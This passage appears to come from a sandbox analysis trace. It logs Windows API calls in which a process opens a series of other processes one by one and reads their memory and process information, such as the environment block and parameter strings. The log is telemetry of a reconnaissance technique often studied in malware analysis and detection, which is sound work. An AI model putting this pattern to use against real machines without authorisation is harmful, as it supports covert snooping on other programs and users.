lpBaseAddress=0x259018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.949] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.949] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x472620, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.950] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x472258, lpBuffer=0x104c5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.950] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.950] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.950] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x259020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.950] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x471c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.951] malloc (_Size=0x60) returned 0xeb64d0 [0192.951] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4722b0, lpBuffer=0xeb64d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0192.952] free (_Block=0xeb64d0) [0192.952] CloseHandle (hObject=0x414) returned 1 [0192.953] _ui64tow_s (in: _Value=0x1668, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5736") returned 0x0 [0192.953] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5736") returned 4 [0192.953] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.953] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.954] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1668) returned 0x414 [0192.954] GetLastError () returned 0x0 [0192.954] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.954] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x374018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.955] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.955] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e2650, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.955] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e2258, lpBuffer=0x104c5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.955] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.956] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.956] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x374020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.956] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.956] malloc (_Size=0x6c) returned 0xea91a0 [0192.956] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x1e22bc, lpBuffer=0xea91a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea91a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.957] free (_Block=0xea91a0) [0192.957] CloseHandle (hObject=0x414) returned 1 [0192.957] _ui64tow_s (in: _Value=0x1670, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5744") returned 0x0 [0192.957] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5744") returned 4 [0192.957] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.957] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.958] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1670) returned 0x414 [0192.958] GetLastError () returned 0x0 [0192.958] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.958] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x33d018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.959] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.959] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2630, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.959] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2258, lpBuffer=0x104c5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.959] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.959] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.959] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x33d020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.960] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.960] malloc (_Size=0x62) returned 0xeb65b0 [0192.960] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f22b2, lpBuffer=0xeb65b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0192.960] free (_Block=0xeb65b0) [0192.960] CloseHandle (hObject=0x414) returned 1 [0192.961] _ui64tow_s (in: _Value=0x167c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5756") returned 0x0 [0192.961] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5756") returned 4 [0192.961] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.961] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.962] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x167c) returned 0x414 [0192.962] GetLastError () returned 0x0 [0192.962] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.962] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2ea018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.962] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.962] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4426d0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.963] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x442258, lpBuffer=0x104c5a0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.963] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.963] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.963] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2ea020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.964] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x441c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.964] malloc (_Size=0x96) returned 0xec72a0 [0192.964] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4422e6, lpBuffer=0xec72a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec72a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.965] free (_Block=0xec72a0) [0192.965] CloseHandle (hObject=0x414) returned 1 [0192.965] _ui64tow_s (in: _Value=0x1684, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5764") returned 0x0 [0192.965] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5764") returned 4 [0192.965] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.965] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.967] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1684) returned 0x414 [0192.967] GetLastError () returned 0x0 [0192.967] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.967] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2a7018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.967] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.968] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e2630, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.968] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e2258, lpBuffer=0x104c5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.968] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.968] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.969] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2a7020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.969] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.969] malloc (_Size=0x62) returned 0xeb6150 [0192.969] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4e22b2, lpBuffer=0xeb6150, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0192.970] free (_Block=0xeb6150) [0192.970] CloseHandle (hObject=0x414) returned 1 [0192.970] _ui64tow_s (in: _Value=0x169c, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5788") returned 0x0 [0192.970] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5788") returned 4 [0192.971] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.971] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.971] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x169c) returned 0x414 [0192.971] GetLastError () returned 0x0 [0192.972] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.972] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2a9018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.972] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.972] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x462660, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.972] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x462258, lpBuffer=0x104c5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.972] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.973] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.973] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x2a9020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.973] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x461c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.973] malloc (_Size=0x74) returned 0xea9220 [0192.973] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4622c4, lpBuffer=0xea9220, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9220*, lpNumberOfBytesRead=0x0) returned 1 [0192.974] free (_Block=0xea9220) [0192.974] CloseHandle (hObject=0x414) returned 1 [0193.022] _ui64tow_s (in: _Value=0x16a4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5796") returned 0x0 [0193.022] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5796") returned 4 [0193.023] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.023] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.023] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16a4) returned 0x414 [0193.024] GetLastError () returned 0x0 [0193.024] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.024] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x20e018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.024] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.024] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c25e0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.024] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c2258, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.024] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.025] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.025] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x20e020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.025] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.025] malloc (_Size=0x48) returned 0xea77f0 [0193.025] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4c2298, lpBuffer=0xea77f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea77f0*, lpNumberOfBytesRead=0x0) returned 1 [0193.026] free (_Block=0xea77f0) [0193.027] CloseHandle (hObject=0x414) returned 1 [0193.027] _ui64tow_s (in: _Value=0x16c0, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5824") returned 0x0 [0193.027] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5824") returned 4 [0193.027] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.027] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.028] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16c0) returned 0x414 [0193.028] GetLastError () returned 0x0 [0193.028] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.028] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x378018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.028] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.028] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2640, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.029] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f2258, lpBuffer=0x104c5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.029] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0193.029] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0193.029] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x378020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0193.029] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f1c10, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0193.030] malloc (_Size=0x6a) returned 0xea92a0 [0193.030] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x5f22ba, lpBuffer=0xea92a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea92a0*, lpNumberOfBytesRead=0x0) returned 1 [0193.031] free (_Block=0xea92a0) [0193.031] CloseHandle (hObject=0x414) returned 1 [0193.031] _ui64tow_s (in: _Value=0x16e0, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5856") returned 0x0 [0193.031] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="5856") returned 4 [0193.032] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0193.032] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0193.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16e0) returned 0x414 [0193.033] GetLastError () returned 0x0 [0193.033] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0193.033] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x309018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0193.033] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0193.033] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x582690, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0193.033] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x582258, lpBuffer=0x104c5a0, nSize=0x7c, 